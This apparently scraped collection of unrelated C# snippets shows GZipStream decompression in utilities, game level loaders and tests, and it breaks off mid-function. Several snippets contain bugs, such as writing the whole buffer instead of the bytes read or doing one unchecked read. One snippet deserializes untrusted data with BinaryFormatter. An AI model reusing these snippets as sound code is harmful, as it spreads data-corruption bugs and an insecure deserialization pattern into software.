| public Read ( byte array, int offset, int count ) : int | ||
| array | byte | |
| offset | int | |
| count | int | |
| 리턴 | int | |
public static byte[] Decompress(byte[] data)
{
try
{
MemoryStream input = new MemoryStream();
input.Write(data, 0, data.Length);
input.Position = 0;
GZipStream gzip = new GZipStream(input, CompressionMode.Decompress, true);
MemoryStream output = new MemoryStream();
byte[] buff = new byte[64];
int read = -1;
read = gzip.Read(buff, 0, buff.Length);
while (read > 0)
{
output.Write(buff, 0, read);
read = gzip.Read(buff, 0, buff.Length);
}
gzip.Close();
return output.ToArray();
}
catch (Exception ex)
{
VMuktiAPI.VMuktiHelper.ExceptionHandler(ex, "Decompress", "Compressor.cs");
return null;
}
}
public static byte[] DecompressData(byte[] data)
{
MemoryStream input = new MemoryStream();
input.Write(data, 0, data.Length);
input.Position = 0;
MemoryStream output;
using (GZipStream gZipStream = new GZipStream(input, CompressionMode.Decompress, true))
{
output = new MemoryStream();
byte[] buff = new byte[64];
int read = -1;
read = gZipStream.Read(buff, 0, buff.Length);
while (read > 0)
{
output.Write(buff, 0, read);
read = gZipStream.Read(buff, 0, buff.Length);
}
gZipStream.Close();
}
GC.Collect();
GC.WaitForPendingFinalizers();
GC.Collect();
return output.ToArray();
}
/// <summary>
/// The GZIP decompress.
/// </summary>
/// <param name="data">The data to decompress.</param>
/// <returns>The decompressed data</returns>
public static byte[] GZipDecompress(this byte[] data)
{
byte[] bytes = null;
if (data != null)
{
using (var input = new MemoryStream(data.Length))
{
input.Write(data, 0, data.Length);
input.Position = 0;
var gzip = new GZipStream(input, CompressionMode.Decompress);
using (var output = new MemoryStream(data.Length))
{
var buff = new byte[64];
int read = gzip.Read(buff, 0, buff.Length);
while (read > 0)
{
output.Write(buff, 0, buff.Length);
read = gzip.Read(buff, 0, buff.Length);
}
bytes = output.ToArray();
}
}
}
return bytes;
}
public static byte[] Decompress(byte[] data)
{
GZipStream gZipStream;
using (MemoryStream inputMemoryStream = new MemoryStream())
{
inputMemoryStream.Write(data, 0, data.Length);
inputMemoryStream.Position = 0;
CompressionMode compressionMode = CompressionMode.Decompress;
gZipStream = new GZipStream(inputMemoryStream, compressionMode, true);
using (MemoryStream outputMemoryStream = new MemoryStream())
{
byte[] buffer = new byte[1024];
int byteRead = -1;
byteRead = gZipStream.Read(buffer, 0, buffer.Length);
while (byteRead > 0)
{
outputMemoryStream.Write(buffer, 0, byteRead);
byteRead = gZipStream.Read(buffer, 0, buffer.Length);
}
gZipStream.Close();
return outputMemoryStream.ToArray();
}
}
}
public byte[] Decompress(MemoryStream input)
{
try
{
using (var output = new MemoryStream())
{
using (var gzip = new GZipStream(input, CompressionMode.Decompress, true))
{
var buff = new byte[64];
int read = gzip.Read(buff, 0, buff.Length);
while (read > 0)
{
output.Write(buff, 0, read);
read = gzip.Read(buff, 0, buff.Length);
}
gzip.Close();
}
return output.ToArray();
}
}
catch (Exception ex)
{
throw new Exception("Cannot Decompress Session Data", ex);
}
}
private static void DisplayContent(HttpWebResponse response, string id)
{
Stream stream = response.GetResponseStream();
if (stream != null)
{
string filePath = "D:\\pic\\" + id + ".png";
FileStream fs = new FileStream(filePath, FileMode.Create);
GZipStream gzip = new GZipStream(stream, CompressionMode.Decompress);
byte[] bytes = new byte[1024];
int len;
if ((len = gzip.Read(bytes, 0, bytes.Length)) > 0)
{
fs.Write(bytes, 0, len);
}
else
{
fs.Close();
File.Delete(filePath);
throw new Exception();
}
while ((len = gzip.Read(bytes, 0, bytes.Length)) > 0)
{
fs.Write(bytes, 0, len);
}
fs.Close();
}
}
/// <summary>
/// Decompresses an array of bytes.
/// </summary>
/// <param name="bytes">The array of bytes to decompress.</param>
/// <returns>The decompressed array of bytes.</returns>
public static byte[] Decompress(this byte[] bytes)
{
using (MemoryStream stream = new MemoryStream())
{
stream.Write(bytes, 0, bytes.Length);
stream.Position = 0;
using (GZipStream compressedStream = new GZipStream(stream, CompressionMode.Decompress, true))
{
using (MemoryStream output = new MemoryStream())
{
byte[] buffer = new byte[32*1024];
int count = compressedStream.Read(buffer, 0, buffer.Length);
while (count > 0)
{
output.Write(buffer, 0, count);
count = compressedStream.Read(buffer, 0, buffer.Length);
}
compressedStream.Close();
return output.ToArray();
}
}
}
}
private void btnOK_Click(object sender, EventArgs e)
{
WaitCallback callBack = null;
if (this.gvReplays.GetSelectedRows().Length > 0)
{
ReplayInfo row = this.gvReplays.GetRow(this.gvReplays.GetSelectedRows()[0]) as ReplayInfo;
base.Enabled = false;
if (callBack == null)
{
callBack = delegate (object o) {
try
{
ReplayInfo info = (o as object[])[0] as ReplayInfo;
if (info != null)
{
string address = ConfigSettings.GetString("BaseReplayURL", "http://gpgnet.gaspowered.com/replays/") + info.Location;
WebClient client = new WebClient();
string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Gas Powered Games\SupremeCommander\replays\" + User.Current.Name;
if (!Directory.Exists(path))
{
Directory.CreateDirectory(path);
}
path = path + @"\" + info.Location.Replace("/", ".");
if (!System.IO.File.Exists(path))
{
client.DownloadProgressChanged += new DownloadProgressChangedEventHandler(this.client_DownloadProgressChanged);
client.DownloadFile(address, path + ".gzip");
FileStream stream = new FileStream(path + ".gzip", FileMode.Open);
FileStream stream2 = new FileStream(path, FileMode.Create);
GZipStream stream3 = new GZipStream(stream, CompressionMode.Decompress);
byte[] buffer = new byte[0x100];
for (int j = stream3.Read(buffer, 0, 0x100); j > 0; j = stream3.Read(buffer, 0, 0x100))
{
stream2.Write(buffer, 0, j);
}
stream3.Close();
stream.Close();
stream2.Close();
}
if (System.IO.File.Exists(path))
{
Process.Start(path);
}
}
}
catch (Exception exception)
{
ErrorLog.WriteLine(exception);
}
base.BeginInvoke((VGen0)delegate {
base.Close();
});
};
}
ThreadQueue.QueueUserWorkItem(callBack, new object[] { row });
}
}
public void Blockchange2(Player p, ushort x, ushort y, ushort z, byte type)
{
p.ClearBlockchange();
p.SendBlockchange(x, y, z, p.level.GetTile(x, y, z));
CatchPos cpos = (CatchPos)p.blockchangeObject;
FileStream fs = File.OpenRead(@Server.backupLocation + "/" + p.level.name + "/" + cpos.backup + "/" + p.level.name + ".lvl");
GZipStream gs = new GZipStream(fs, CompressionMode.Decompress);
byte[] ver = new byte[2];
gs.Read(ver, 0, ver.Length);
ushort version = BitConverter.ToUInt16(ver, 0);
ushort[] vars = new ushort[6];
try
{
if (version == 1874)
{
byte[] header = new byte[16]; gs.Read(header, 0, header.Length);
vars[0] = BitConverter.ToUInt16(header, 0);
vars[1] = BitConverter.ToUInt16(header, 2);
vars[2] = BitConverter.ToUInt16(header, 4);
}
else
{
byte[] header = new byte[12]; gs.Read(header, 0, header.Length);
vars[0] = version;
vars[1] = BitConverter.ToUInt16(header, 0);
vars[2] = BitConverter.ToUInt16(header, 2);
}
byte[] blocks = new byte[vars[0] * vars[2] * vars[1]];
gs.Read(blocks, 0, blocks.Length);
gs.Dispose();
fs.Dispose();
if (blocks.Length != p.level.blocks.Length) { p.SendMessage("Cant restore selection of different size maps."); blocks = null; return; }
if (p.level.bufferblocks && !p.level.Instant)
{
for (ushort xx = Math.Min(cpos.x, x); xx <= Math.Max(cpos.x, x); ++xx)
for (ushort yy = Math.Min(cpos.y, y); yy <= Math.Max(cpos.y, y); ++yy)
for (ushort zz = Math.Min(cpos.z, z); zz <= Math.Max(cpos.z, z); ++zz)
BlockQueue.Addblock(p, xx, yy, zz, blocks[xx + (zz * vars[0]) + (yy * vars[0] * vars[1])]);
}
else
{
for (ushort xx = Math.Min(cpos.x, x); xx <= Math.Max(cpos.x, x); ++xx)
for (ushort yy = Math.Min(cpos.y, y); yy <= Math.Max(cpos.y, y); ++yy)
for (ushort zz = Math.Min(cpos.z, z); zz <= Math.Max(cpos.z, z); ++zz)
p.level.Blockchange(p, xx, yy, zz, blocks[xx + (zz * vars[0]) + (yy * vars[0] * vars[1])]);
}
blocks = null;
if (p.staticCommands) p.Blockchange += Blockchange1;
}
catch { Server.s.Log("Restore selection failed"); }
}
private static void OnUriResponse(Uri uri, BinaryReader reader)
{
using (var stream = new GZipStream(reader.BaseStream, CompressionMode.Decompress))
{
const int size = 1024;
var buffer = new byte[size];
var numBytes = stream.Read(buffer, 0, size);
while (numBytes > 0)
{
Console.Write(Encoding.UTF8.GetString(buffer, 0, numBytes));
numBytes = stream.Read(buffer, 0, size);
}
}
}
public Level Load(string levelName, string path)
{
Level finalLevel = new Level(new Vector3S(32, 32, 32));
finalLevel.Name = levelName;
using (FileStream fs = File.OpenRead(path)) {
using (GZipStream gs = new GZipStream(fs, CompressionMode.Decompress)) {
byte[] ver = new byte[2];
gs.Read(ver, 0, ver.Length);
ushort version = BitConverter.ToUInt16(ver, 0);
//if (version != 1874) //Is a old MCForge level!
// throw new Exception(path + " is not a valid MCForge Level");
// Older levels WILL STILL WORK WITH THIS so you don't need this check. .dat files won't load though.
ushort[] vars = new ushort[6];
byte[] rot = new byte[2];
byte[] header = new byte[16];
gs.Read(header, 0, header.Length);
vars[0] = BitConverter.ToUInt16(header, 0); //X
vars[1] = BitConverter.ToUInt16(header, 2); //Z
vars[2] = BitConverter.ToUInt16(header, 4); //Y
vars[3] = BitConverter.ToUInt16(header, 6); //SpawnX
vars[4] = BitConverter.ToUInt16(header, 8); //SpawnZ
vars[5] = BitConverter.ToUInt16(header, 10); //SpawnY
rot[0] = header[12]; //SpawnHeading
rot[1] = header[13]; //SpawnYaw
finalLevel.CWMap.Size = new Vector3S((short)vars[0], (short)vars[1], (short)vars[2]);
finalLevel.CWMap.SpawnPos = new Vector3S((short)vars[3], (short)vars[4], (short)vars[5]);
finalLevel.CWMap.SpawnRotation = new Vector2S(rot[0], rot[1]);
finalLevel.TotalBlocks = finalLevel.CWMap.Size.x * finalLevel.CWMap.Size.z * finalLevel.CWMap.Size.y;
byte[] blocks = new byte[finalLevel.CWMap.Size.x * finalLevel.CWMap.Size.z * finalLevel.CWMap.Size.y];
gs.Read(blocks, 0, blocks.Length);
finalLevel.CWMap.BlockData = new byte[finalLevel.TotalBlocks];
for (int x = 0; x < finalLevel.CWMap.Size.x; x++)
for (int y = 0; y < finalLevel.CWMap.Size.y; y++)
for (int z = 0; z < finalLevel.CWMap.Size.z; z++)
finalLevel.SetBlock(x, z, y, (byte)OldMCForgeToNewMCForge.Convert(blocks[finalLevel.PosToInt((ushort)x, (ushort)z, (ushort)y)])); //Converts all custom blocks to normal blocks.
}
}
finalLevel.HandleMetaData();
Logger.Log("[Level] " + levelName + " was loaded");
return finalLevel;
}
public static byte[] Decompress(byte[] gzip)
{
if (gzip == null)
{
return null;
}
const int size = 4096;
// Create a GZIP stream with decompression mode.
// ... Then create a buffer and write into while reading from the GZIP stream.
using (var stream = new GZipStream(new MemoryStream(gzip), CompressionMode.Decompress))
{
var buffer = new byte[size];
using (var memory = new MemoryStream())
{
var count = 0;
do
{
count = stream.Read(buffer, 0, size);
if (count > 0)
{
memory.Write(buffer, 0, count);
}
}
while (count > 0);
return memory.ToArray();
}
}
}
/// <summary>
/// 解压数据
/// </summary>
/// <param name="aSourceStream"></param>
/// <returns></returns>
public static byte[] DeCompress(Stream aSourceStream)
{
byte[] vUnZipByte = null;
GZipStream vUnZipStream;
using (MemoryStream vMemory = new MemoryStream())
{
vUnZipStream = new System.IO.Compression.GZipStream(aSourceStream, CompressionMode.Decompress);
try
{
byte[] vTempByte = new byte[1024];
int vRedLen = 0;
do
{
vRedLen = vUnZipStream.Read(vTempByte, 0, vTempByte.Length);
vMemory.Write(vTempByte, 0, vRedLen);
}while (vRedLen > 0);
vUnZipStream.Close();
}
finally
{
vUnZipStream.Dispose();
}
vUnZipByte = vMemory.ToArray();
}
return(vUnZipByte);
}
/// <summary> Base64 Zip解压 为 byte[] </summary>
public static byte[] ZipBase64ToBytes(string xml)
{
//base64解码
System.Text.UTF8Encoding encoder = new System.Text.UTF8Encoding();
System.Text.Decoder utf8Decode = encoder.GetDecoder();
byte[] todecode_byte = Convert.FromBase64String(xml);
int charCount = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length);
char[] decoded_char = new char[charCount];
utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0);
string decoded = new string(decoded_char);
//解压缩
byte[] compressBeforeByte = Convert.FromBase64String(decoded);
byte[] buffer = new byte[0x1000];
using (MemoryStream ms = new MemoryStream(compressBeforeByte))
using (var zip = new IO.Compression.GZipStream(ms, IO.Compression.CompressionMode.Decompress, true))
using (MemoryStream msreader = new MemoryStream())
{
int reader = 0;
while ((reader = zip.Read(buffer, 0, buffer.Length)) > 0)
{
msreader.Write(buffer, 0, reader);
}
msreader.Position = 0;
buffer = msreader.ToArray();
}
byte[] compressAfterByte = buffer;
return(compressAfterByte);
}
public ManagedBitmap(string fileName)
{
try
{
byte[] buffer = new byte[1024];
MemoryStream fd = new MemoryStream();
Stream fs = File.OpenRead(fileName);
using (Stream csStream = new GZipStream(fs, CompressionMode.Decompress))
{
int nRead;
while ((nRead = csStream.Read(buffer, 0, buffer.Length)) > 0)
{
fd.Write(buffer, 0, nRead);
}
csStream.Flush();
buffer = fd.ToArray();
}
Width = buffer[4] << 8 | buffer[5];
Height = buffer[6] << 8 | buffer[7];
_colors = new Color[Width * Height];
int start = 8;
for (int i = 0; i < _colors.Length; i++)
{
_colors[i] = Color.FromArgb(buffer[start], buffer[start + 1], buffer[start + 2], buffer[start + 3]);
start += 4;
}
}
catch
{
LoadedOk = false;
}
}
private static void AssembleGZip(List<string> files, string destinationDirectory)
{
//get the extenstion of the resulting file.
string[] dotItems = files[0].Split('.');
//pre-last extension - the one before '.gz'
string ext = dotItems[dotItems.Length - 2];
string destinationFile = destinationDirectory + "assembled." + ext;
using (FileStream dest = new FileStream(destinationFile, FileMode.Append, FileAccess.Write))
{
foreach (string inFile in files)
{
using (FileStream source = new FileStream(inFile, FileMode.Open))
{
using (GZipStream sourceGZip = new GZipStream(source, CompressionMode.Decompress, false))
{
byte[] buffer = new byte[4096];
int len;
while ((len = sourceGZip.Read(buffer, 0, buffer.Length)) > 0)
dest.Write(buffer, 0, len);
}
}
}
}
}
/// <summary>
/// GZip解压函数
/// </summary>
/// <param name="data"></param>
/// <returns></returns>
public static byte[] GZipDecompress(byte[] data)
{
int bufferSize = 256;
using (MemoryStream stream = new MemoryStream())
{
using (GZipStream gZipStream = new GZipStream(new MemoryStream(data), CompressionMode.Decompress))
{
byte[] bytes = new byte[bufferSize];
int n;
while ((n = gZipStream.Read(bytes, 0, bytes.Length)) != 0)
{
stream.Write(bytes, 0, n);
}
gZipStream.Close();
gZipStream.Dispose();
}
byte[] rdata = stream.ToArray();
stream.Close();
stream.Dispose();
return rdata;
}
}
public static string UnzipString(string unCompressedString)
{
System.Text.StringBuilder uncompressedString = new System.Text.StringBuilder();
byte[] writeData = new byte[4096];
byte[] bytData = System.Convert.FromBase64String(unCompressedString);
int totalLength = 0;
int size = 0;
Stream s = new GZipStream(new MemoryStream(bytData), CompressionMode.Decompress);
while (true)
{
size = s.Read(writeData, 0, writeData.Length);
if (size > 0)
{
totalLength += size;
uncompressedString.Append(System.Text.Encoding.UTF8.GetString(writeData, 0, size));
}
else
{
break;
}
}
s.Close();
return uncompressedString.ToString();
}
public static Stream GetStream(Stream fileStream)
{
Stream objFileStream = null;
try
{
GZipStream gzip = new GZipStream(fileStream, CompressionMode.Decompress);
MemoryStream memStream = new MemoryStream();
byte[] bytes = new byte[1024];
int bytesRead = -1;
while (bytesRead != 0)
{
bytesRead = gzip.Read(bytes, 0, 1024);
memStream.Write(bytes, 0, bytesRead);
memStream.Flush();
}
memStream.Position = 0;
objFileStream = memStream;
gzip.Close();
gzip.Dispose();
fileStream.Dispose();
}
catch (Exception)
{
fileStream.Position = 0;
objFileStream = fileStream;
}
return objFileStream;
}
public static string decompress(this FileInfo fi, string targetFile)
{
// Get the stream of the source file.
using (FileStream inFile = fi.OpenRead())
{
//Create the decompressed file.
using (FileStream outFile = File.Create(targetFile))
{
using (var decompress = new GZipStream(inFile, CompressionMode.Decompress))
{
//Copy the decompression stream into the output file.
var buffer = new byte[4096];
int numRead;
while ((numRead = decompress.Read(buffer, 0, buffer.Length)) != 0)
{
outFile.Write(buffer, 0, numRead);
}
"Decompressed: {0}".info(fi.Name);
}
}
}
return targetFile;
}
private static void AssembleFiles(List<string> files, string destination)
{
for (int i = 0; i < files.Count; i++)
{
var fsRead = new FileStream(files[i], FileMode.Open);
var fsWrite = new FileStream(destination, FileMode.Append);
byte[] buffer = new byte[4096];
using (fsRead)
{
using (fsWrite)
{
using (var deCompress = new GZipStream(fsRead,CompressionMode.Decompress,false))
{
while (true)
{
int readBytes = deCompress.Read(buffer, 0, buffer.Length);
if (readBytes == 0)
{
break;
}
fsWrite.Write(buffer, 0, buffer.Length);
}
}
}
}
}
}
public static byte[] Decompress(byte[] bytes)
{
using (var gzipStream = new GZipStream(new MemoryStream(bytes), CompressionMode.Decompress))
{
const int size = 4096;
var buffer = new byte[size];
using (var stream = new MemoryStream())
{
int count;
do
{
count = gzipStream.Read(buffer, 0, size);
if (count > 0)
{
stream.Write(buffer, 0, count);
}
}
while (count > 0);
return stream.ToArray();
}
}
}
public static byte[] Inflate(byte[] bytes)
{
MemoryStream ms = new MemoryStream(bytes);
MemoryStream output = new MemoryStream();
GZipStream gzip = new GZipStream(ms, CompressionMode.Decompress);
byte[] buffer = new byte[BUFFER_SIZE];
try
{
while (gzip.CanRead)
{
int bytesRead = gzip.Read(buffer, 0, buffer.Length);
if (bytesRead <= 0)
break;
output.Write(buffer, 0, bytesRead);
}
}
catch (Exception)
{
}
finally
{
gzip.Close();
ms = null;
}
return output.ToArray();
}
public bool Claims( string fileName ) {
if( fileName == null ) throw new ArgumentNullException( "fileName" );
try {
using( FileStream mapStream = File.OpenRead( fileName ) ) {
byte[] temp = new byte[8];
mapStream.Seek( -4, SeekOrigin.End );
mapStream.Read( temp, 0, 4 );
mapStream.Seek( 0, SeekOrigin.Begin );
int length = BitConverter.ToInt32( temp, 0 );
byte[] data = new byte[length];
using( GZipStream reader = new GZipStream( mapStream, CompressionMode.Decompress, true ) ) {
reader.Read( data, 0, length );
}
for( int i = 0; i < length - 1; i++ ) {
if( data[i] == 0xAC && data[i + 1] == 0xED ) {
return true;
}
}
return false;
}
} catch( Exception ) {
return false;
}
}
public Byte[] GZipUncompress(Byte[] buffer)
{
using (MemoryStream _mStream = new MemoryStream(buffer))
{
using (GZipStream _gzip = new GZipStream(_mStream, CompressionMode.Decompress))
{
const int _size = 4096;
byte[] _buffer = new byte[_size];
using (MemoryStream _oStream = new MemoryStream())
{
int _count = 0;
do
{
_count = _gzip.Read(_buffer, 0, _size);
if (_count > 0)
{
_oStream.Write(_buffer, 0, _count);
}
} while (_count > 0);
return _oStream.ToArray();
}
}
}
}
/// <summary>
/// Decompress an object compressed with the gov.va.medora.utils.Compression.compress function
/// </summary>
/// <param name="bytes">The binary representation of the compressed object returned by the compress function</param>
/// <returns>The decompressed object</returns>
public object decompress(byte[] bytes)
{
using (GZipStream gzip = new GZipStream(new MemoryStream(bytes), CompressionMode.Decompress))
{
const int bufferSize = 4096;
byte[] buffer = new byte[bufferSize];
using (MemoryStream decompressedObject = new MemoryStream())
{
int count = 0;
do
{
count = gzip.Read(buffer, 0, bufferSize);
if (count > 0)
{
decompressedObject.Write(buffer, 0, count);
}
}
while (count > 0);
decompressedObject.Position = 0;
BinaryFormatter bf = new BinaryFormatter();
object result = bf.Deserialize(decompressedObject);
return result;
}
}
}
/// <summary>
/// 解压数据
/// </summary>
/// <param name="aSourceStream"></param>
/// <returns></returns>
public static byte[] DeCompress(Stream aSourceStream)
{
byte[] vUnZipByte = null;
GZipStream vUnZipStream;
using (MemoryStream vMemory = new MemoryStream())
{
vUnZipStream = new GZipStream(aSourceStream, CompressionMode.Decompress);
try
{
byte[] vTempByte = new byte[1024];
int vRedLen = 0;
do
{
vRedLen = vUnZipStream.Read(vTempByte, 0, vTempByte.Length);
vMemory.Write(vTempByte, 0, vRedLen);
}
while (vRedLen > 0);
vUnZipStream.Close();
}
finally
{
vUnZipStream.Dispose();
}
vUnZipByte = vMemory.ToArray();
}
return vUnZipByte;
}
public string UncompressHandHistory(string compressedHandHistory)
{
if (compressedHandHistory == null) return null;
byte[] byteArray = new byte[compressedHandHistory.Length];
int indexBa = 0;
foreach (char item in compressedHandHistory)
byteArray[indexBa++] = (byte)item;
MemoryStream memoryStream = new MemoryStream(byteArray);
GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
byteArray = new byte[1024];
StringBuilder stringBuilder = new StringBuilder();
int readBytes;
while ((readBytes = gZipStream.Read(byteArray, 0, byteArray.Length)) != 0)
{
for (int i = 0; i < readBytes; i++)
stringBuilder.Append((char)byteArray[i]);
}
gZipStream.Close();
memoryStream.Close();
gZipStream.Dispose();
memoryStream.Dispose();
return stringBuilder.ToString();
}
private byte[] DecompressBytes(byte[] bytesToDecompress)
{
if (bytesToDecompress == null)
throw new ArgumentNullException(nameof(bytesToDecompress));
using (var stream = new GZipStream(new MemoryStream(bytesToDecompress), CompressionMode.Decompress))
{
const int size = 4096;
var buffer = new byte[size];
using (var memory = new MemoryStream())
{
int count;
do
{
count = stream.Read(buffer, 0, size);
if (count > 0)
{
memory.Write(buffer, 0, count);
}
}
while (count > 0);
return memory.ToArray();
}
}
}
private static void Assemble(int parts)
{
byte[] buffer = new byte[4096];
for (int i = 1; i <= parts; i++)
{
string source = String.Format("../../assembled.txt",FileMode.Append);
FileStream partOfFile = new FileStream(source,FileMode.Open);
FileStream assembledFile = new FileStream("../../assembled.txt",FileMode.Append);
using (partOfFile)
{
using (assembledFile)
{
using (GZipStream decompression = new GZipStream(partOfFile,CompressionMode.Decompress))
{
while (true)
{
int bytesRead = decompression.Read(buffer, 0, buffer.Length);
if (bytesRead == 0)
{
break;
}
assembledFile.Write(buffer,0,bytesRead);
}
}
}
}
}
}
public string DeCompressString(string compressedText)
{
try
{
byte[] gzBuffer = Convert.FromBase64String(compressedText);
using (MemoryStream ms = new MemoryStream())
{
int msgLength = BitConverter.ToInt32(gzBuffer, 0);
ms.Write(gzBuffer, 4, gzBuffer.Length - 4);
byte[] buffer = new byte[msgLength];
ms.Position = 0;
using (System.IO.Compression.GZipStream zip = new System.IO.Compression.GZipStream(ms, System.IO.Compression.CompressionMode.Decompress))
{
zip.Read(buffer, 0, buffer.Length);
}
return(System.Text.Encoding.Unicode.GetString(buffer, 0, buffer.Length));
}
}
catch (Exception err)
{
return(err.Message.ToString());
}
}
public static byte[] DecompressData(byte[] source)
{
byte[] decompressedData = new byte[0];
using (MemoryStream tempStream = new MemoryStream(source))
{
tempStream.Position = 0L;
byte[] temp = new byte[4096];
using (GZipStream gzipStream = new GZipStream(tempStream, CompressionMode.Decompress, true))
{
try
{
int readLen;
while ((readLen = gzipStream.Read(temp, 0, 4096)) != 0)
{
LSAppendBytes(ref decompressedData, temp, 0, readLen);
}
}
catch
{
throw;
}
}
temp = null;
}
return decompressedData;
}
public void Memory_Compress_Decompress() {
var input = (byte[])PlainBytes.Clone();
byte[] compressed;
using(var outStream = new MemoryStream(input.Length)) {
using(var gzip = new GZipStream(outStream, CompressionMode.Compress)) {
gzip.Write(input, 0, input.Length);
}
compressed = outStream.ToArray();
Assert.IsNotNull(compressed);
Assert.IsTrue(compressed.Length > 0);
}
using(var outStream = new MemoryStream(input.Length))
using(var gzip = new GZipStream(new MemoryStream(compressed), CompressionMode.Decompress)) {
var readCount = 0;
var buffer = new byte[CompressorTool.BUFFER_SIZE];
while((readCount = gzip.Read(buffer, 0, buffer.Length)) > 0) {
outStream.Write(buffer, 0, readCount);
}
byte[] decompressed = outStream.ToArray();
Assert.IsTrue(decompressed.Length > 0);
Assert.AreEqual(PlainBytes, decompressed);
}
}
public static string Decompress(string s)
{
if (string.IsNullOrEmpty(s))
{
return("");
}
if (GameState.UseNewSaveCompression)
{
return(Decompress2(s));
}
try
{
Span <byte> buffer = new Span <byte>(new byte[s.Length]);
if (Convert.TryFromBase64String(s, buffer, out int b) == false)
{
if (Convert.TryFromBase64String(s.PadRight(s.Length / 4 * 4 + (s.Length % 4 == 0 ? 0 : 4), '='), new Span <byte>(new byte[s.Length]), out int pad))
{
Console.WriteLine("String Length:" + s.Length);
Console.WriteLine("Bytes parsed:" + pad);
Console.WriteLine("End padding:" + s.Substring(s.Length - 10));
using (var source = new MemoryStream(Convert.FromBase64String(s)))
{
byte[] len = new byte[4];
source.Read(len, 0, 4);
var l = BitConverter.ToInt32(len, 0);
using (var decompressionStream = new System.IO.Compression.GZipStream(source, System.IO.Compression.CompressionMode.Decompress))
{
var result = new byte[l];
decompressionStream.Read(result, 0, l);
return(Encoding.UTF8.GetString(result));
}
}
}
else
{
Console.WriteLine("Padding failed.");
Console.WriteLine("String Length:" + s.Length);
Console.WriteLine("Bytes parsed:" + b);
Console.WriteLine("End padding:" + s.Substring(s.Length - 10));
}
}
using (var source = new MemoryStream(Convert.FromBase64String(s)))
{
byte[] len = new byte[4];
source.Read(len, 0, 4);
var l = BitConverter.ToInt32(len, 0);
using (var decompressionStream = new System.IO.Compression.GZipStream(source, System.IO.Compression.CompressionMode.Decompress))
{
var result = new byte[l];
decompressionStream.Read(result, 0, l);
return(Encoding.UTF8.GetString(result));
}
}
}
catch {
return(Decompress2(s));
}
}
/// <summary>
/// Decompresses the given data stream from its source ZIP or GZIP format.
/// </summary>
/// <param name="dataBytes"></param>
/// <returns></returns>
internal static byte[] Inflate(Stream dataStream)
{
byte[] outputBytes = null;
try
{
using (var deflateStream = new ZlibStream(dataStream, MonoGame.Utilities.CompressionMode.Decompress))
{
int length = (int)deflateStream.BufferSize;
if (length == 0)
{
return(new byte[0]);
}
outputBytes = new byte[length];
deflateStream.Read(outputBytes, 0, length);
}
}
catch
{
try
{
dataStream.Seek(0, SeekOrigin.Begin);
#if !WINDOWS_PHONE
using (var gzipInputStream = new GZipInputStream(dataStream, System.IO.Compression.CompressionMode.Decompress))
#else
using (var gzipInputStream = new GZipInputStream(dataStream))
#endif
{
int length = (int)gzipInputStream.BaseStream.Length;
if (length == 0)
{
return(new byte[0]);
}
outputBytes = new byte[length];
gzipInputStream.Read(outputBytes, 0, length);
}
}
catch (Exception exc)
{
CCLog.Log("Error decompressing image data: " + exc.Message);
}
}
return(outputBytes);
}
/// <summary>
/// 解压缩数据组
/// </summary>
/// <param name="source"></param>
/// <returns></returns>
public static byte[] Decompress(this byte[] source)
{
using (var ms = new System.IO.MemoryStream(source))
using (var gzip = new System.IO.Compression.GZipStream(ms, CompressionMode.Decompress))
using (var msout = new System.IO.MemoryStream())
{
var buffer = new byte[1024];
var count = 0;
while ((count = gzip.Read(buffer, 0, buffer.Length)) > 0)
{
msout.Write(buffer, 0, count);
}
msout.Close();
return(msout.ToArray());
}
}
public static byte[] GZipDecompress(byte[] ts)
{
MemoryStream srcMs = new MemoryStream(ts);
System.IO.Compression.GZipStream zipStream = new System.IO.Compression.GZipStream(srcMs, System.IO.Compression.CompressionMode.Decompress);
MemoryStream ms = new MemoryStream();
byte[] bytes = new byte[40960];
int n;
while ((n = zipStream.Read(bytes, 0, bytes.Length)) > 0)
{
ms.Write(bytes, 0, n);
}
zipStream.Close();
return(ms.ToArray());
}
public void testGzipStream()
{
// make sure compression works, file should be smaller
string sample = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "files", "fp.log");
byte[] uncompressed = File.ReadAllBytes(sample);
int before = uncompressed.Length;
byte[] compressed;
int after = 0;
// test gzip stream compression code
using (MemoryStream compressStream = new MemoryStream())
using (ZopfliStream compressor = new ZopfliStream(compressStream, ZopfliFormat.ZOPFLI_FORMAT_GZIP))
{
compressor.Write(uncompressed, 0, before);
compressor.Close();
compressed = compressStream.ToArray();
after = compressed.Length;
}
before.Should().BeGreaterThan(after);
// make sure we can decompress the file using built-in .net
byte[] decompressedBytes = new byte[before];
using (MemoryStream tempStream = new MemoryStream(compressed))
using (System.IO.Compression.GZipStream decompressionStream = new System.IO.Compression.GZipStream(tempStream, System.IO.Compression.CompressionMode.Decompress))
{
decompressionStream.Read(decompressedBytes, 0, before);
}
uncompressed.Should().Equal(decompressedBytes);
// use built-in .net compression and make sure zopfil is smaller
int after_builtin = 0;
using (MemoryStream compressStream = new MemoryStream())
using (System.IO.Compression.GZipStream compressor = new System.IO.Compression.GZipStream(compressStream, System.IO.Compression.CompressionLevel.Optimal))
{
compressor.Write(uncompressed, 0, before);
compressor.Close();
after_builtin = compressStream.ToArray().Length;
}
after_builtin.Should().BeGreaterThan(after);
}
public static byte[] DecompressByGzip(byte[] input)
{
using (MemoryStream outms = new MemoryStream()) {
using (MemoryStream ims = new MemoryStream(input)) {
//ims.Write(input, 0, input.Length);
using (System.IO.Compression.GZipStream gzip = new System.IO.Compression.GZipStream(ims, System.IO.Compression.CompressionMode.Decompress)) {
byte[] buf = new byte[1024];
int len = 0;
//len = gzip.Read(buf, 1, buf.Length);
while ((len = gzip.Read(buf, 0, buf.Length)) > 0)
{
outms.Write(buf, 0, len);
}
return(outms.ToArray());
}
}
}
}
/// <summary>
/// GZIP解压
/// </summary>
/// <param name="text"></param>
/// <returns></returns>
public static string Decompress(byte[] buffer)
{
using (MemoryStream dms = new MemoryStream())
{
using (MemoryStream cms = new MemoryStream(buffer))
{
using (System.IO.Compression.GZipStream gzip = new System.IO.Compression.GZipStream(cms, System.IO.Compression.CompressionMode.Decompress))
{
byte[] bytes = new byte[1024];
int len = 0;
//读取压缩流，同时会被解压
while ((len = gzip.Read(bytes, 0, bytes.Length)) > 0)
{
dms.Write(bytes, 0, len);
}
}
}
return(Encoding.UTF8.GetString(dms.ToArray()));
}
}
public static string UnZip(string value)
{
